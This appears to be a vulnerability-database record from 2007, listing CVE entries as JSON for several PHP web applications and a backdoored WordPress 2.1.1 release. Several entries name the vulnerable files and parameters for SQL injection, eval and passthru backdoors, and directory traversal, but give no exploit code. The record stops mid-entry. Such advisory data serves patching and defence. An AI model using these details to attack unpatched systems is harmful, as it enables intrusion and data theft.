Description
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.
Affected Software
Related
{"id": "SECURITYVULNS:VULN:7338", "bulletinFamily": "software", "title": "Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "published": "2007-03-03T00:00:00", "modified": "2007-03-03T00:00:00", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7338", "reporter": " ", "references": ["https://vulners.com/securityvulns/securityvulns:doc:16242", "https://vulners.com/securityvulns/securityvulns:doc:16243", "https://vulners.com/securityvulns/securityvulns:doc:16240", "https://vulners.com/securityvulns/securityvulns:doc:16241"], "cvelist": ["CVE-2007-1183", "CVE-2007-1185", "CVE-2007-1188", "CVE-2007-1179", "CVE-2007-1152", "CVE-2007-1277", "CVE-2007-1187", "CVE-2007-1289", "CVE-2007-1184", "CVE-2007-1180", "CVE-2007-1134", "CVE-2007-1175", "CVE-2007-1181", "CVE-2007-1135", "CVE-2007-1192", "CVE-2007-1177", "CVE-2007-1291", "CVE-2007-1186", "CVE-2007-1136", "CVE-2007-1176", "CVE-2007-1259", "CVE-2007-1159", "CVE-2007-1178", "CVE-2007-1197", "CVE-2007-1290", "CVE-2007-1328", "CVE-2007-1193", "CVE-2007-1174", "CVE-2007-1182"], "type": "securityvulns", "lastseen": "2021-06-08T18:52:45", "edition": 2, "viewCount": 3311, "enchantments": {"dependencies": {"references": [{"type": "cert", "idList": ["VU:214480", "VU:641456"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2014-0983"]}, {"type": "cve", "idList": ["CVE-2007-1134", "CVE-2007-1135", "CVE-2007-1136", "CVE-2007-1152", "CVE-2007-1159", "CVE-2007-1174", "CVE-2007-1175", "CVE-2007-1176", "CVE-2007-1177", "CVE-2007-1178", "CVE-2007-1179", "CVE-2007-1180", "CVE-2007-1181", "CVE-2007-1182", "CVE-2007-1183", "CVE-2007-1184", "CVE-2007-1185", "CVE-2007-1186", "CVE-2007-1187", "CVE-2007-1188", "CVE-2007-1192", "CVE-2007-1193", "CVE-2007-1197", "CVE-2007-1259", "CVE-2007-1277", "CVE-2007-1289", "CVE-2007-1290", "CVE-2007-1291", "CVE-2007-1328"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2007-1277"]}, {"type": "nessus", "idList": ["3928.PRM", "3933.PRM", "ORANGEHRM_TXTUSERNAME_SQL_INJECTION.NASL", "WEBAPP_0996.NASL", "WORDPRESS_221_BACKDOOR.NASL"]}, {"type": "patchstack", "idList": ["PATCHSTACK:276C2384686F3574CD18BE450B578446"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2007-1277"]}, {"type": "wpexploit", "idList": ["WPEX-ID:5C4CF85B-97E8-4044-839B-B3656C337706"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:5C4CF85B-97E8-4044-839B-B3656C337706"]}]}, "score": {"value": 1.5, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2007-1134", "CVE-2007-1135", "CVE-2007-1136", "CVE-2007-1152", "CVE-2007-1159", "CVE-2007-1174", "CVE-2007-1175", "CVE-2007-1176", "CVE-2007-1177", "CVE-2007-1178", "CVE-2007-1179", "CVE-2007-1180", "CVE-2007-1181", "CVE-2007-1182", "CVE-2007-1183", "CVE-2007-1184", "CVE-2007-1185", "CVE-2007-1186", "CVE-2007-1187", "CVE-2007-1188", "CVE-2007-1192", "CVE-2007-1193", "CVE-2007-1197", "CVE-2007-1259", "CVE-2007-1277", "CVE-2007-1289", "CVE-2007-1290", "CVE-2007-1291", "CVE-2007-1328"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2007-1277"]}, {"type": "nessus", "idList": ["ORANGEHRM_TXTUSERNAME_SQL_INJECTION.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:16243"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2007-1277"]}, {"type": "wpexploit", "idList": ["WPEX-ID:5C4CF85B-97E8-4044-839B-B3656C337706"]}]}, "exploitation": null, "affected_software": {"major_version": [{"name": "watchtower", "version": 0}, {"name": "hyperbook guestbook", "version": 1}, {"name": "pyrophobia", "version": 2}, {"name": "webapp", "version": 0}, {"name": "epiware", "version": 4}, {"name": "dbimagegallery", "version": 1}, {"name": "webmplayer", "version": 0}, {"name": "tyger bug tracking system", "version": 1}, {"name": "webspell", "version": 4}]}, "vulnersScore": 1.5}, "affectedSoftware": [{"name": "watchtower", "operator": "eq", "version": "0.12"}, {"name": "hyperbook guestbook", "operator": "eq", "version": "1.30"}, {"name": "pyrophobia", "operator": "eq", "version": "2.1"}, {"name": "webapp", "operator": "eq", "version": "0.9"}, {"name": "epiware", "operator": "eq", "version": "4.7"}, {"name": "dbimagegallery", "operator": "eq", "version": "1.2"}, {"name": "webmplayer", "operator": "eq", "version": "0.6"}, {"name": "tyger bug tracking system", "operator": "eq", "version": "1.1"}, {"name": "webspell", "operator": "eq", "version": "4.01"}], "immutableFields": [], "scheme": null, "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1660004461, "score": 1660007784, "affected_software_major_version": 1666695388}, "_internal": {"score_hash": "299f4e6ac79fcadaa0e53d81fedd6c68"}}
{"cve": [{"lastseen": "2022-03-23T11:52:10", "description": "Multiple unspecified vulnerabilities in WebAPP before 0.9.9.6 have unknown impact and attack vectors.", "cvss3": {}, "published": "2007-03-03T20:19:00", "type": "cve", "title": "CVE-2007-1259", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1259"], "modified": "2011-09-01T04:00:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9.5", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1259", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1259", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.5:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:52:26", "description": "WordPress 2.1.1, as downloaded from some official distribution sites during February and March 2007, contains an externally introduced backdoor that allows remote attackers to execute arbitrary commands via (1) an eval injection vulnerability in the ix parameter to wp-includes/feed.php, and (2) an untrusted passthru call in the iz parameter to wp-includes/theme.php.", "cvss3": {}, "published": "2007-03-05T20:19:00", "type": "cve", "title": "CVE-2007-1277", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1277"], "modified": "2018-10-16T16:37:00", "cpe": ["cpe:/a:wordpress:wordpress:2.1.1"], "id": "CVE-2007-1277", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1277", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:wordpress:wordpress:2.1.1:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:49:56", "description": "Multiple SQL injection vulnerabilities in WebMplayer before 0.6.1-Alpha allow remote attackers to execute arbitrary SQL commands via the (1) strid parameter to index.php and the (2) id[0] or other id array index parameter to filecheck.php.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1135", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2007-1135"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:sourceforge:webmplayer:0.6.1-alpha"], "id": "CVE-2007-1135", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1135", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:sourceforge:webmplayer:0.6.1-alpha:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:42", "description": "Multiple cross-site scripting (XSS) vulnerabilities in WebAPP before 0.9.9.5 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors related to (1) Gallery Comments pages, (2) Feedback pages, (3) Search Results pages, and (4) the Statistics Log viewer.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1176", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1176"], "modified": "2017-07-29T01:30:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.4"], "id": "CVE-2007-1176", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1176", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:51:00", "description": "Multiple unspecified vulnerabilities in the Login page in OrangeHRM before 20070212 have unknown impact and attack vectors.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1193", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1193"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:orangehrm:orangehrm:2.1"], "id": "CVE-2007-1193", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1193", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:orangehrm:orangehrm:2.1:alpha_4:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:42", "description": "WebAPP before 0.9.9.5 does not properly filter certain characters in contexts related to (1) the query string, (2) Profiles, (3) the Forum Post icon field, (4) the Edit Profile, and (5) the Gallery, which has unknown impact and remote attack vectors, possibly related to cross-site scripting (XSS).", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1177", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1177"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.1", "cpe:/a:web-app.org:webapp:0.9.9", "cpe:/a:web-app.org:webapp:0.9.9.2", "cpe:/a:web-app.org:webapp:0.9.9.4", "cpe:/a:web-app.org:webapp:0.9.9.3", "cpe:/a:web-app.org:webapp:0.9.9.2.1", "cpe:/a:web-app.org:webapp:0.9.9.3.2", "cpe:/a:web-app.org:webapp:0.9.9.3.1"], "id": "CVE-2007-1177", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1177", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:web-app.org:webapp:0.9.9:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:44", "description": "WebAPP before 0.9.9.5 does not check access in certain contexts related to (1) Calendar Administration, (2) Instant Messages Administration, and (3) the Image Uploader, which has unknown impact and attack vectors.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1178", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1178"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.4"], "id": "CVE-2007-1178", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1178", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:53:11", "description": "Cross-site scripting (XSS) vulnerability in formulaire.php in Bernard JOLY BJ Webring allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter related to the add link menu.", "cvss3": {}, "published": "2007-03-07T21:19:00", "type": "cve", "title": "CVE-2007-1328", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1328"], "modified": "2018-10-16T16:37:00", "cpe": ["cpe:/a:bernard_joly:bj_webring:*"], "id": "CVE-2007-1328", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1328", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:bernard_joly:bj_webring:*:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:52:39", "description": "SQL injection vulnerability in ViewReport.php in Tyger Bug Tracking System (TygerBT) 1.1.3 allows remote attackers to execute arbitrary SQL commands via the bug parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.", "cvss3": {}, "published": "2007-03-07T00:19:00", "type": "cve", "title": "CVE-2007-1290", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1290"], "modified": "2017-07-29T01:30:00", "cpe": ["cpe:/a:tyger:bug_tracking_system:1.1.3"], "id": "CVE-2007-1290", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1290", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:tyger:bug_tracking_system:1.1.3:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:40", "description": "Multiple cross-site scripting (XSS) vulnerabilities in WebAPP before 20070214 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors, related to unspecified fields in user Profiles. NOTE: some of these details are obtained from third party information.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1174", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1174"], "modified": "2017-07-29T01:30:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.4"], "id": "CVE-2007-1174", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1174", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:40", "description": "Cross-site scripting (XSS) vulnerability in an admin feature in WebAPP before 20070209 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1175", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1175"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:web-app.org:webapp:0.9.9.4"], "id": "CVE-2007-1175", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1175", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:web-app.org:webapp:0.9.9.4:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:49:57", "description": "index.php in WebMplayer before 0.6.1-Alpha allows remote attackers to execute arbitrary code via shell metacharacters in an exec function call. NOTE: some sources have referred to this as eval injection in the param parameter, but CVE source inspection suggests that this is erroneous.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1136", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1136"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:webmplayer:webmplayer:0.6", "cpe:/a:webmplayer:webmplayer:0.1", "cpe:/a:webmplayer:webmplayer:0.2.1", "cpe:/a:webmplayer:webmplayer:0.4", "cpe:/a:webmplayer:webmplayer:0.3", "cpe:/a:webmplayer:webmplayer:0.5.1", "cpe:/a:webmplayer:webmplayer:0.3.1", "cpe:/a:webmplayer:webmplayer:0.3.2", "cpe:/a:webmplayer:webmplayer:0.3.3", "cpe:/a:webmplayer:webmplayer:0.5"], "id": "CVE-2007-1136", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1136", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:webmplayer:webmplayer:0.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.4:*:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.3:*:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.1:*:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.5.1:alpha:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.6:alpha:*:*:*:*:*:*", "cpe:2.3:a:webmplayer:webmplayer:0.5:alpha:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:52:40", "description": "Multiple cross-site scripting (XSS) vulnerabilities in Tyger Bug Tracking System (TygerBT) 1.1.3 allow remote attackers to inject arbitrary web script or HTML via the PATH_INFO to (1) Login.php and (2) Register.php.", "cvss3": {}, "published": "2007-03-07T00:19:00", "type": "cve", "title": "CVE-2007-1291", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1291"], "modified": "2018-10-16T16:37:00", "cpe": ["cpe:/a:tyger:bug_tracking_system:1.1.3"], "id": "CVE-2007-1291", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1291", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:tyger:bug_tracking_system:1.1.3:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:49:54", "description": "Unspecified vulnerability in Watchtower (WT) before 0.12 has unknown impact and attack vectors, related to \"unauthorized accounts.\"", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1134", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1134"], "modified": "2011-03-08T02:51:00", "cpe": ["cpe:/a:watchtower:watchtower:0.1", "cpe:/a:watchtower:watchtower:0.11"], "id": "CVE-2007-1134", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1134", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:watchtower:watchtower:0.11:*:*:*:*:*:*:*", "cpe:2.3:a:watchtower:watchtower:0.1:alpha:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:50:16", "description": "Multiple directory traversal vulnerabilities in Pyrophobia 2.1.3.1 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) act or (2) pid parameter to the top-level URI (index.php), or the (3) action parameter to admin/index.php. NOTE: some of these details are obtained from third party information.", "cvss3": {}, "published": "2007-03-02T21:18:00", "type": "cve", "title": "CVE-2007-1152", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1152"], "modified": "2017-10-11T01:31:00", "cpe": ["cpe:/a:pyrophobia:pyrophobia:2.1.3.1"], "id": "CVE-2007-1152", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1152", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:pyrophobia:pyrophobia:2.1.3.1:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:52:38", "description": "SQL injection vulnerability in ViewBugs.php in Tyger Bug Tracking System (TygerBT) 1.1.3 allows remote attackers to execute arbitrary SQL commands via the s parameter.", "cvss3": {}, "published": "2007-03-07T00:19:00", "type": "cve", "title": "CVE-2007-1289", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1289"], "modified": "2018-10-16T16:37:00", 